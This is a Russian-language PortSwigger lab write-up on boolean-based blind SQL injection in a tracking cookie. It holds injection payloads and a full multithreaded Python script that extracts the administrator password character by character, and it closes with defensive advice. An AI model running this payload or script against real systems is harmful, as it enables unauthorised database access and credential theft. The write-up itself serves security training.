На странице
Пентест
1 мин
#portswigger #sql-injection #blind-sqli #web-security

Слепая SQL-инъекция с условными ответами

Уязвимость

Слепая SQL-инъекция (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.

В данном варианте (boolean-based blind SQLi) приложение возвращает разный контент в зависимости от того, вернуло ли условие TRUE или FALSE. Конструируя условия вида SUBSTRING(password, 1, 1) = 'a', атакующий может извлекать данные посимвольно.

Лаборатория

Название: Blind SQL injection with conditional responses
Сложность: Practitioner
Цель: Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.

Разведка

Приложение хранит cookie TrackingId, которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.

Сначала подтверждаем точку инъекции, добавив кавычку:

TrackingId=ncJfdwqSUQK7Gh4b'--

Сообщение «Welcome back!» продолжает появляться — комментарий -- нейтрализует остаток оригинального запроса, инъекция активна.

Проверяем булево поведение:

-- Условие TRUE → «Welcome back!» появляется
TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--

-- Условие FALSE → «Welcome back!» исчезает
TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--

Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.

Эксплуатация

Шаг 1 — Определяем длину пароля

Используем функцию LENGTH():

TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--

«Welcome back!» появляется при = 20 — пароль состоит из 20 символов.

Шаг 2 — Извлекаем символы

Функция SUBSTRING(строка, позиция, длина) позволяет проверять по одному символу:

-- Первый символ — 'w'?
TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--

Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.

Шаг 3 — Автоматизация на Python

Скрипт использует ThreadPoolExecutor для параллельного выполнения 10 запросов одновременно:

import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed

HOST = "0a7100260337b44880b2629c0027006c.web-security-academy.net"
BASE_URL = f"https://{HOST}/filter?category=Gifts"
TRACKING_ID = "ncJfdwqSUQK7Gh4b"
SESSION = "mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk"

CHARSET = string.ascii_lowercase + string.digits
MAX_LENGTH = 30
THREADS = 10


def check(sql_condition: str) -> bool:
    payload = f"{TRACKING_ID}'+AND+{sql_condition}--"
    cookies = {"TrackingId": payload, "session": SESSION}
    r = requests.get(BASE_URL, cookies=cookies, timeout=10)
    return "Welcome back" in r.text


def get_password_length(max_len: int = MAX_LENGTH) -> int:
    print("[*] Определяем длину пароля...")
    for n in range(1, max_len + 1):
        condition = f"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}"
        if check(condition):
            print(f"[+] Длина пароля: {n}")
            return n
    raise ValueError(f"Длина пароля не найдена в пределах {max_len}")


def get_char_at(pos: int, length: int) -> tuple[int, str]:
    for c in CHARSET:
        condition = f"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'"
        if check(condition):
            return pos, c
    return pos, "?"


def get_password(length: int) -> str:
    print(f"[*] Перебираем {length} символов в {THREADS} потоков...")
    password = ["?"] * length
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}
        for future in as_completed(futures):
            pos, char = future.result()
            password[pos - 1] = char
            print(f"  [{pos}/{length}] '{char}' => {''.join(password)}")
    return "".join(password)


def main():
    length = get_password_length()
    password = get_password(length)
    print(f"\n[+] Пароль: {password}")


if __name__ == "__main__":
    main()

Результат: wfa3n32o7a6mb4xon7d6

Заходим в /my-account как administrator с этим паролем — лаба решена.

Вывод

Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть / нет) достаточно для извлечения всей базы.

Как защититься:

  • Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию
  • Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку
  • Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице users